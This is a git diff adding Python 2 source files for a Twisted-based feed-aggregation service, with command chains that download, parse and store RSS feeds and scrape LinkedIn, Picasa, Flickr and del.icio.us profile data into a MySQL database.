+        pass
+
+    def getTest(self, state):
+        """
+        This is a safe way to check if a certain test condition is
+        set.
+        """
+        if state.has_key("testfail"):
+            return state["testfail"]
+
+        return None
+        
+
+
+
diff --git a/services/command/controller.py b/services/command/controller.py
new file mode 100644 (file)
index 0000000..9c06938
--- /dev/null
@@ -0,0 +1,179 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from twisted.internet import defer
+
+from services.command.base import CommandManager
+
+from services.command.download import DownloadCommand
+from services.command.newsite import NewSiteSetup, NewSiteTryURL, \
+    NewSiteDone, NewSiteError, NewSiteCreate, NewSiteAudit
+from services.command.feedparse import FeedParseCommand, \
+    FeedUpdateDatabaseCommand, FeedRefreshSetup
+from services.command.linkedin import NewLinkedInSetup, LinkedInScrapeCommand, \
+    LinkedInCreateCommand, RefreshLinkedInSetup, LinkedInUpdateCommand, \
+    LinkedInPreviewSave
+from services.command.picasa import PicasaNewSetup, PicasaPollFeed, \
+    PicasaCreateCommand, PicasaSetup, PicasaPreviewLoadFeed
+from services.command.flickr import FlickrSetupCommand, FlickrGetSqURL, \
+    FlickrUpdateDatabase, FlickrCacheError, FlickrPreviewThumbnails
+from services.command.siterefresh import RefreshSiteDone, RefreshSiteError
+from services.command.previewsite import PreviewSiteDone
+
+class ProtoManager(CommandManager):
+    def start(self, uuid, *args):
+        self.uuid = uuid
+        self.args = args
+        self.work_d = defer.Deferred()
+        return self.doCommand(*args)
+        d = self.doCommand(*args)
+        d.addCallback(self.succeeded)
+        d.addErrback(self.failed)
+
+        return self.work_d
+
+    def succeeded(self, *args, **kw):
+        print("%s done" % self.uuid)
+        self.work_d.callback(args, kw)
+    
+    def failed(self, failure):
+        print("%s failed" % self.uuid)
+        self.work_d.errback(failure)
+
+class NewSiteManager(ProtoManager):
+    def __init__(self, sm, dcm):
+        CommandManager.__init__(self)
+        self.commands = [ NewSiteSetup(dcm),              # set up all the state for processing a new site
+                          NewSiteTryURL(sm, dcm),         # if we need to test the url, download and parse it
+                          NewSiteCreate(dcm),             # create the site object now that we've got the data
+                          NewSiteAudit(dcm),              # add an audit record for the newly created site
+                          FeedParseCommand(sm),           # parse the feed, also respecting pre-parsed code
+                          FeedUpdateDatabaseCommand(dcm), # and update the database
+                          NewSiteDone(dcm)
+                        ]
+        error_c = NewSiteError(dcm)
+        self.error_handler = error_c.handleError
+
+class RefreshManager(ProtoManager):
+    def __init__(self, sm, dcm):
+        CommandManager.__init__(self)
+        self.commands = [ FeedRefreshSetup(dcm),          # get the feed url from the database
+                          DownloadCommand(),              # download the feed
+                          FeedParseCommand(sm),           # send it out to the parser
+                          FeedUpdateDatabaseCommand(dcm), # update the database
+                          RefreshSiteDone(dcm)            # update our status
+                        ]
+        error_c = RefreshSiteError(dcm)
+        self.error_handler = error_c.handleError
+
+class NewLinkedInManager(ProtoManager):
+    def __init__(self, dcm):
+        CommandManager.__init__(self)
+        self.commands = [ NewLinkedInSetup(dcm),      # save the ID and URL
+                          DownloadCommand(),          # download the url
+                          LinkedInScrapeCommand(),    # try and scrape out the info
+                          LinkedInCreateCommand(dcm), # create the site + current obj
+                          NewSiteAudit(dcm),          # add an audit record for the newly created site
+                          NewSiteDone(dcm)
+                        ]
+        error_c = NewSiteError(dcm)
+        self.error_handler = error_c.handleError
+
+class LinkedInRefreshManager(ProtoManager):
+    def __init__(self, dcm):
+        CommandManager.__init__(self)
+        self.commands = [ RefreshLinkedInSetup(dcm),  # save the ID and URL
+                          DownloadCommand(),          # download the URL
+                          LinkedInScrapeCommand(),    # try and scrape out the info
+                          LinkedInUpdateCommand(dcm), # update the database
+                          RefreshSiteDone(dcm)        # update the status
+                        ]
+        error_c = RefreshSiteError(dcm)
+        self.error_handler = error_c.handleError
+
+class PreviewLinkedInManager(ProtoManager):
+    def __init__(self, dcm):
+        CommandManager.__init__(self)
+        self.commands = [ NewLinkedInSetup(dcm),   # save the ID and the URL
+                          DownloadCommand(),       # download the URL
+                          LinkedInScrapeCommand(), # try and scrape out the info
+                          LinkedInPreviewSave(),   # save the data into the state
+                          PreviewSiteDone(dcm) ]   # update the status
+        error_c = NewSiteError(dcm)
+        self.error_handler = error_c.handleError
+
+class NewPicasaManager(ProtoManager):
+    def __init__(self, dcm, sm):
+        CommandManager.__init__(self)
+        self.commands = [ NewSiteSetup(dcm),              # set it up like a normal new site
+                          PicasaNewSetup(dcm),            # fix up the urls
+                          PicasaPollFeed(sm),             # poll me some feed via the gapi
+                          PicasaCreateCommand(dcm),       # create the new site object
+                          NewSiteAudit(dcm),              # add an audit record for the newly created site
+                          FeedUpdateDatabaseCommand(dcm), # update the feed database
+                          NewSiteDone(dcm) ]              # and we're done!
+        error_c = NewSiteError(dcm)
+        self.error_handler = error_c.handleError
+
+class PicasaRefreshManager(ProtoManager):
+    def __init__(self, dcm, sm):
+        CommandManager.__init__(self)
+        self.commands = [ PicasaSetup(dcm),                # setup the urls
+                          PicasaPollFeed(sm),              # poll the feed
+                          FeedUpdateDatabaseCommand(dcm),  # update the database
+                          RefreshSiteDone(dcm) ]           # update our status
+        error_c = RefreshSiteError(dcm)
+        self.error_handler = error_c.handleError
+
+class PicasaPreviewManager(ProtoManager):
+    def __init__(self, dcm, sm):
+        CommandManager.__init__(self)
+        self.commands = [ NewSiteSetup(dcm),        # set up the preview (handles new + preview)
+                          PicasaNewSetup(dcm),      # fix up the urls
+                          PicasaPollFeed(sm),       # poll the feed
+                          PicasaPreviewLoadFeed(),  # stuff the feed into the parsed_feed var and set the type
+                          PreviewSiteDone(dcm)      # and save our data
+                        ]
+        error_c = NewSiteError(dcm)
+        self.error_handler = error_c.handleError
+
+class FlickrCacheManager(ProtoManager):
+    def __init__(self, dcm):
+        CommandManager.__init__(self)
+        self.commands = [ FlickrSetupCommand(dcm),  # Get the link url and set it in the state
+                          FlickrGetSqURL(),         # Make the flickr xml-rpc call to get the url for the image
+                          FlickrUpdateDatabase(dcm) # Save the display cache
+                        ]
+        error_c = FlickrCacheError(dcm)
+        self.error_handler = error_c.handleError
+
+class PreviewSiteManager(ProtoManager):
+    def __init__(self, sm, dcm):
+        CommandManager.__init__(self)
+        self.commands = [ NewSiteSetup(dcm),            # set up the url for the preview (works for new vs. preview)
+                          NewSiteTryURL(sm, dcm),       # test the url, download and parse it
+                          FlickrPreviewThumbnails(dcm), # cache any flickr thumbnails
+                          PreviewSiteDone(dcm)          # we're done, update the database
+                        ]
+        error_c = NewSiteError(dcm) # not a typo - turns out the code in there will work for this one, too
+        self.error_handler = error_c.handleError
+
diff --git a/services/command/database.py b/services/command/database.py
new file mode 100644 (file)
index 0000000..e096563
--- /dev/null
@@ -0,0 +1,60 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from twisted.enterprise import adbapi
+
+class DatabaseCommandManager:
+
+    def __init__(self):
+        self.db = None
+        
+    def start(self, connection_type, connection_dict):
+        if self.db is None:
+            self.db = adbapi.ConnectionPool(connection_type,
+                                            **connection_dict)
+
+    def stop(self):
+        self.db.close()
+        self.db = None
+
+    def runQuery(self, query, *args):
+        """
+        Takes the query passed in and runs it, returning a deferred.
+        Pass in args and they will be added to the end of the query in
+        the usual mysql %s style.
+        
+        This also adds its own Errback handler to detect errors and
+        will restart the database connection when one happens.  Be
+        gentle!
+        """
+        d = self.db.runQuery(query, *args)
+        return d
+
+    def runInteraction(self, interaction, query, *args):
+        """
+        This takes the query and callable interaction function and
+        passes it down to the database interface.  Note that the
+        interaction call will be made from a different thread so make
+        sure that it's thread safe!
+        """
+        d = self.db.runInteraction(interaction, query, *args)
+        return d
diff --git a/services/command/delicious.py b/services/command/delicious.py
new file mode 100644 (file)
index 0000000..bec2057
--- /dev/null
@@ -0,0 +1,53 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+# classes for del.icio.us
+import re
+import urlparse
+
+class Delicious:
+    def isDelicious(self, url):
+        u = urlparse.urlparse(url)
+        urlparse.clear_cache()
+        host = u[1]
+        path = u[2]
+
+        # site url
+        # http://del.icio.us/chrisfralic - base
+
+        # feeds
+        # http://del.icio.us/rss/danicomar - bookmarks
+        # http://feeds.delicious.com/rss/danicomar - bookmars after redirect
+        # http://del.icio.us/rss/tags/danicomar - tags (do not want)
+        # http://feeds.delicious.com/rss/tags/danicomar - tags after redirect (do not want)
+
+        if host == "del.icio.us" and re.match('^/([^/]+$)', path):
+            return True
+
+        return False
+
+    def getPreferredFeed(self, feeds):
+        for i in range(0, len(feeds)):
+            if re.search('bookmarks', feeds[i][2]):
+                return feeds[i]
+
+        return None
diff --git a/services/command/download.py b/services/command/download.py
new file mode 100644 (file)
index 0000000..c0b5355
--- /dev/null
@@ -0,0 +1,151 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from services.command.base import BaseCommand
+from twisted.web.client import _parse, HTTPDownloader
+from twisted.internet import defer, reactor
+
+import services.config as config
+import urlparse
+import twisted.python.failure
+import formencode
+import tempfile
+import os
+import base64
+
+# Set up a global username and password for twitter.  Probably should
+# be generic or something.
+twitter_username = None
+twitter_password = None
+
+def confirm_twitter_info():
+    global twitter_username, twitter_password
+
+    if twitter_username and twitter_password:
+        return
+
+    try:
+        twitter_username = config.get("twitter", "username")
+        twitter_password = config.get("twitter", "password")
+    except:
+        pass
+
+class DownloadCommand(BaseCommand):
+    """
+    DownloadCommand takes a URL as an argument and will return a
+    filename on completion.
+    """
+    def __init__(self):
+        BaseCommand.__init__(self)
+        self.name = "download"
+        self.d = defer.Deferred()
+
+    def doCommand(self, state, url=None, *args, **kw):
+        """
+        Pass in a url.  This will return a deferred that will
+        eventually call back to you with a (result, filename) pair to
+        where the url has been downloaded.  It is your responsibility
+        to delete the file once you have finished with it.
+        """
+        # for testing
+        if self.getTest(state) == "download_connection_refused":
+            url = "http://localhost:9091/something.html"
+        if self.getTest(state) == "download_404":
+            url = "http://localhost:9090/something.html"
+        try:
+            # ugh, this should probably not be here like this
+            if not url:
+                url = str(state["url"])
+            print("  downloading %s" % url)
+            # check the URL to make sure it's valid
+            formencode.validators.URL(add_http=False).to_python(url)        
+            # except formencode.api.Invalid:
+            tmpfd, tempfilename = tempfile.mkstemp()
+            os.close(tmpfd)
+            d = localDownloadPage(str(url), tempfilename)
+            # chain our own callback and error handler to return the
+            # filename and/or cleanup if the download fails
+            d.addCallback(self.downloadDone, tempfilename)
+            d.addErrback(self.downloadError)
+        except Exception, e:
+            print("  exception during download start")
+            self.d.errback(twisted.python.failure.Failure(e))
+
+        return self.d
+
+    def downloadDone(self, result, filename):
+        print("  downloadDone")
+        self.d.callback(filename)
+
+    def downloadError(self, failure):
+        print("  downloadError")
+        self.d.errback(failure)
+        
+
+# stolen from twisted.web.client so we can add a 307 handler - stupid
+# phik!
+def localDownloadPage(url, file, contextFactory=None, *args, **kwargs):
+    """Download a web page to a file.
+
+    @param file: path to file on filesystem, or file-like object.
+    
+    See HTTPDownloader to see what extra args can be passed.
+    """
+
+    # XXX DEEP HACK to auth to twitter.com
+    global twitter_username, twitter_password
+    confirm_twitter_info()
+
+    scheme, host, port, path = _parse(url)
+
+    auth = None
+    h = urlparse.urlparse(url)[1]
+    urlparse.clear_cache()
+    if h == 'twitter.com' and twitter_username and twitter_password:
+        auth = 'Basic ' + base64.encodestring("%s:%s" % (twitter_username, twitter_password))
+
+    if not kwargs:
+        kwargs = {}
+
+    kwargs["agent"] = "whoisi/1.0"
+
+    if auth:
+        if not kwargs.has_key("headers"):
+            kwargs["headers"] = dict()
+        print("  adding auth")
+        kwargs["headers"]["authorization"] = auth
+    else:
+        print("  not adding auth")
+        
+
+    factory = HTTPDownloader(url, file, *args, **kwargs)
+    # REACH DOWN THE THROAT OF HTTPPageDownloader and HTTPPageGetter
+    factory.protocol.handleStatus_307 = lambda self: self.handleStatus_301()
+
+    if scheme == 'https':
+        from twisted.internet import ssl
+        if contextFactory is None:
+            contextFactory = ssl.ClientContextFactory()
+        reactor.connectSSL(host, port, factory, contextFactory)
+    else:
+        reactor.connectTCP(host, port, factory)
+    return factory.deferred
diff --git a/services/command/exceptions.py b/services/command/exceptions.py
new file mode 100644 (file)
index 0000000..2d8d747
--- /dev/null
@@ -0,0 +1,61 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+# exceptions used across the commands
+
+from twisted.spread import pb
+
+class PageNotFoundError(Exception):
+    def __init__(self, value):
+        self.value = value
+    def __str__(self):
+        return repr(self.value)
+
+class FeedNotFoundError(Exception):
+    def __init__(self, value):
+        self.value = value
+    def __str__(self):
+        return repr(self.value)
+
+class InvalidFeedError(Exception):
+    def __init__(self, value):
+        self.value = value
+    def __str__(self):
+        return repr(self.value)
+
+class NeedsFeedPickError(Exception):
+    def __init__(self, value, data):
+        self.value = value
+        self.data = data
+    def __str__(self):
+        return repr(self.value)
+
+class ServiceSubprocessError(Exception):
+    def __init__(self, value, arg=None):
+        self.value = value
+        self.arg = arg
+    def __str__(self):
+        return repr(self.value)
+
+# used when the master makes a bad command call
+class BadCommandException(pb.Error):
+    pass
diff --git a/services/command/feedparse.py b/services/command/feedparse.py
new file mode 100644 (file)
index 0000000..a81c7fc
--- /dev/null
@@ -0,0 +1,519 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from twisted.internet import defer
+from twisted.python.failure import Failure
+from services.command.download import localDownloadPage
+from services.command.base import BaseCommand
+from services.command.utils import resolve_relative_url
+from datetime import datetime
+
+import formencode
+import tempfile
+import os
+import simplejson
+
+class FeedRefreshSetup(BaseCommand):
+    '''
+    This command sets everything up to refresh a feed.
+    '''
+    def __init__(self, dcm):
+        BaseCommand.__init__(self)
+        self.dcm = dcm
+        self.name = "feed-refresh-setup"
+        self.d = None
+
+    def doCommand(self, state, id):
+        print("  site refresh id %s" % id)
+        self.state = state
+
+        state["site_refresh_id"] = id
+
+        self.d = defer.Deferred()
+
+        q = """
+            SELECT site_id FROM site_refresh WHERE id = %s
+            """
+
+        d = self.dcm.runQuery(q, id)
+        d.addCallback(self.gotNewSite)
+        d.addErrback(self.error)
+
+        return self.d
+
+    def gotNewSite(self, results):
+        site_id = results[0][0]
+        print("  got new site %s" % site_id)
+
+        self.state["site_id"] = site_id
+
+        # Get the info for this feed out of the database
+        q = """
+            SELECT feed, url FROM site WHERE id = %s
+            """
+
+        d = self.dcm.runQuery(q, site_id)
+        d.addCallback(self.gotFeed)
+        d.addErrback(self.error)
+
+    def gotFeed(self, results):
+        self.state["feed_url"] = results[0][0]
+        self.state["url"] = results[0][1]
+        print("  feed url is %s" % self.state["feed_url"])
+        print("  base url is %s" % self.state["url"])
+        self.d.callback(self.state["feed_url"])
+
+    def error(self, failure):
+        print("got error: %s" % failure.getErrorMessage())
+        self.d.errback(failure)
+
+process_name = "feed-parse-service"
+
+class FeedParseCommand(BaseCommand):
+    def __init__(self, sm):
+        BaseCommand.__init__(self)
+        self.deferred = None
+        self.sm = sm
+        self.filename = None
+        ss = None
+        self.name = "feedparse"
+
+    def doCommand(self, state, filename):
+        """
+        This command will take the filename that's passed in from the
+        RSS download and parse it.  It will return a filename that
+        contains the parsed contents.  It will also check if there's a
+        pre-parsed file and just return that immediately if it can.
+        """
+        if state.has_key("try_url_parsed_feed_filename"):
+            d = defer.Deferred()
+            d.callback(state["try_url_parsed_feed_filename"])
+            return d
+
+        self.deferred = defer.Deferred()
+        self.filename = filename
+        # Get a deferred to the service manager so we know when our
+        # process is up and running and ready to parse the file
+        d = self.sm.getService(process_name)
+        d.addCallback(self.serviceReady)
+        d.addErrback(self.serviceFailure)
+        return self.deferred
+
+    def serviceReady(self, service):
+        print("feed parse serviceReady")
+        self.ss = service
+        d = self.ss.proto.parse(self.filename)
+        d.addCallback(self.parseDone)
+        d.addErrback(self.parseError)
+
+    def serviceFailure(self, failure):
+        print("feed parse serviceFailure")
+        self.deferred.errback(failure)
+
+    def parseDone(self, filename):
+        print("feed parse parseDone")
+        self.sm.releaseService(self.ss)
+        self.ss = None
+        self.deferred.callback(filename)
+
+    def parseError(self, failure):
+        print("feed parse parseError")
+        self.sm.serviceFailed(self.ss)
+        self.ss = None
+        self.deferred.errback(failure)
+
+class StateToFeedURLCommand(BaseCommand):
+    """
+    This command pulls the feed url out of the state and passes it
+    along as a url to the next command in the chain
+    """
+    def __init__(self):
+        BaseCommand.__init__(self)
+        self.name = "state-to-feed-url"
+
+    def doCommand(self, state, *args, **kw):
+        url = state["feed_url"][0]
+
+        d = defer.Deferred()
+        d.callback(str(url)) # url can't be unicode, yay
+        return d
+
+class FeedUpdateDatabaseCommand(BaseCommand):
+    """
+    This command will take feed data out of a json file on the
+    filesystem and then updates the database with the information
+    that's found in it.
+    """
+    def __init__(self, dcm):
+        BaseCommand.__init__(self)
+        self.name = "feed-update-database"
+        self.site_id = None
+        self.last_update = None
+        self.dcm = dcm
+        self.feed = None
+        self.d = defer.Deferred()
+        self.dirty = False
+        self.inserts = []
+        self.insert_ids = []
+
+    def doCommand(self, state, filename, *args, **kw):
+        f = None
+        self.site_id = state["site_id"]
+        self.state = state
+
+        if filename is None:
+            filename = self.state["feed_parsed_filename"]
+
+        try:
+            f = open(filename, "r")
+            j = simplejson.loads(f.read())
+
+#             print j["title"]
+#             print j["last_update"]
+#             for i in j["entries"]:
+#                 print("  %s" % i["title"])
+#                 for k in i.keys():
+#                     if k == "title":
+#                         continue
+#                    print("    %s: %s" % (k, i[k]))
+
+            self.feed = j
+
+            # start by getting the current entries for this site so we
+            # can start comparing
+            q = """
+                SELECT id, site_id, title, link, entry_id, added, published, updated, summary, content, display_cache FROM site_history where site_id = %s
+                """
+            print("  getting current entries for %d" % self.site_id)
+            d = self.dcm.runQuery(q, self.site_id)
+            d.addCallback(self.gotEntries)
+            d.addErrback(self.error)
+
+        except Exception, e:
+            self.d.errback(Failure(e))
+
+        return self.d
+
+    def gotEntries(self, results):
+        """
+        This method tries to build a transaction based on comparing
+        the content that's in the feed that we just got with the
+        entries that are currently in the database.
+
+        We use the id for an entry if it's available and if we don't
+        have ids in the feed we just try and find the entry through
+        brute force.  The effect in the non-id case is that if someone
+        updates an entry it just shows up as a new one.  But so be it.
+        They should be punished into the 9th ring of hell for doing
+        that anyway.
+        """
+
+        # our list of insert and update transactions
+        maybe_update = []
+        update_transactions = []
+
+        # generate a list of items from the database by id
+        current_by_id = {}
+
+        # each row is:
+        # id, site_id, title, link, entry_id, added, published, updated, summary, content, display_cache
+        for i in results:
+            if i[4] is not None:
+                current_by_id[i[4]] = i
+
+        # display the url and the feed url before we resolve urls
+        print("  url is %s" % self.state.get("url", None))
+        print("  feed_url is %s" % self.state.get("feed_url", None))
+
+        # We limit the number of entries we look at in the feed to 99
+        # entries.  Anything bigger than that and we might start
+        # inserting things that we've already archived.
+        self.feed["entries"] = self.feed["entries"][:99]
+
+        # Fix up any of the links in entries that are relative before
+        # we try and compare or insert them into the database
+        for i in self.feed["entries"]:
+            if i.has_key("link") and i["link"] is not None:
+                print("  link %s" % i["link"])
+                print("  url %s" % self.state["url"])
+                i["link"] = resolve_relative_url(i["link"], self.state["url"])
+
+        # compare the feed entries with what we currently have in the
+        # database
+        for entry in self.feed["entries"]:
+            if entry["entry_id"] is None:
+                # do the brute force thing
+                if not self.stupidEntryAlreadyThere(entry, results):
+                    self.inserts.append(entry)
+            else:
+                # is it in our database currently?
+                if current_by_id.has_key(entry["entry_id"]):
+                    # maybe update it if it has something that's changed
+                    maybe_update.append(entry)
+                else:
+                    # only insert into the database if it happens to
+                    # not have the same entry under another ID.
+                    # stupid twitter.
+                    if not self.stupidEntryAlreadyThere(entry, results):
+                        self.inserts.append(entry)
+
+        # Now we've got a list of items to insert and a list of items
+        # to maybe update.  See if any of them actually generate
+        # update transactions before doing inserts.
+        for i in maybe_update:
+            d = self.maybeUpdateEntry(i, current_by_id[i["entry_id"]])
+            if d:
+                update_transactions.append(d)
+
+        # If we're dirty at this point, we've got some updates to do.
+        # Inserts will be done after the updates are done.
+        if len(update_transactions):
+            self.dirty = True
+            dl = defer.DeferredList(update_transactions, consumeErrors=True, fireOnOneErrback=True)
+            dl.addCallback(self.updatesDone)
+            dl.addErrback(self.error)
+            return
+
+        # Do we have any inserts to do?
+        if len(self.inserts):
+            self.doInserts()
+            return
+
+        # If we got this far all we need to do is update the site -
+        # we're done.
+        self.updateSite()
+
+    def stupidEntryAlreadyThere(self, entry, results):
+        """
+        This function will walk the list of old entries looking to see
+        if an entry already exists in the database.  If there's no
+        exact match it's considered new.  It's only called for entries
+        that have no ids.
+        """
+        published = None
+        updated = None
+
+        ep = entry["published"]
+        if ep:
+            published = datetime(*ep)
+
+        up = entry["updated"]
+        if up:
+            updated = datetime(*up)
+
+        # we don't bother checking the display cache since the feed
+        # sources that fill in the display cache all have ids
+        # assoicated with them
+        for old_entry in results:
+            if entry["title"] == old_entry[2] and \
+                    entry["link"] == old_entry[3] and \
+                    published == old_entry[6] and \
+                    updated == old_entry[7] and \
+                    entry["summary"] == old_entry[8] and \
+                    self.getBestContent(entry) == old_entry[9]:
+                print("  stupid entry already in database: %s" % entry["title"])
+                return True
+
+    def updatesDone(self, *args, **kw):
+        """
+        Just here to kick off inserts if there are any to be done,
+        otherwise jumps to done.  (We need this because if we connect
+        the result from update databases into doInserts the new ID
+        code doesn't work.)
+        """
+        if len(self.inserts):
+            self.doInserts()
+            return
+
+        self.done()
+
+    def doInserts(self, last_insert_id=None, *args, **kw):
+        """
+        This is actually an iterative function that will continue to
+        call itself until all inserts are done.  Once it's done, it
+        will continue to self.updateSite to finish this update.
+        """
+
+        if last_insert_id is not None:
+            print("  doInsert: last insert id was %s" % last_insert_id)
+            self.insert_ids.append(last_insert_id)
+        else:
+            print("  doInsert: no last insert id")
+
+        # Are we out of inserts?
+        if len(self.inserts) == 0:
+            self.updateSite()
+            return
+
+        # We've got inserts to do - mark us as dirty
+        self.dirty = True
+
+        # Ordering here matters a lot.  Feed entries are in the
+        # inserts array in the same order that they are in the feed -
+        # that is, newest to oldest.  We'll continue to pop items off
+        # the _end_ of the array and put them in the database so that
+        # older entries go into the database before newer ones.
+        d = self.insertEntry(self.inserts.pop())
+        d.addCallback(self.doInserts)
+        d.addErrback(self.error)
+
+    def insertEntry(self, entry):
+        """
+        Pretty straighforward.  Insert a new entry into the database.
+        """
+        published = None
+        updated = None
+
+        ep = entry["published"]
+        if ep:
+            published = datetime(*ep)
+
+        up = entry["updated"]
+        if up:
+            updated = datetime(*up)
+
+        print("  inserting new entry for site %s" % self.site_id)
+        print("  title: %s" % entry.get("title", None))
+        print("  link: %s" % entry.get("link", None))
+
+        q = """
+            INSERT into site_history (site_id, title, link, entry_id, added, touched, published, updated, summary, content, display_cache, on_new)
+            values (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)
+            """
+
+        # If new_site is in the state, we're adding a new site so set
+        # the flag so that we know these sites were added when the
+        # site was first added.
+        on_new = 0
+        if self.state.has_key("new_site"):
+            on_new = 1
+
+        t = datetime.utcnow()
+
+        return self.dcm.runInteraction(self.insertInteraction, q,
+                                       (self.site_id, entry["title"], entry["link"], entry["entry_id"],
+                                        t, t, published, updated, entry["summary"],
+                                        self.getBestContent(entry), entry["display_cache"], on_new))
+
+    def insertInteraction(self, trans, *args):
+        trans.execute(*args)
+        return trans.lastrowid
+
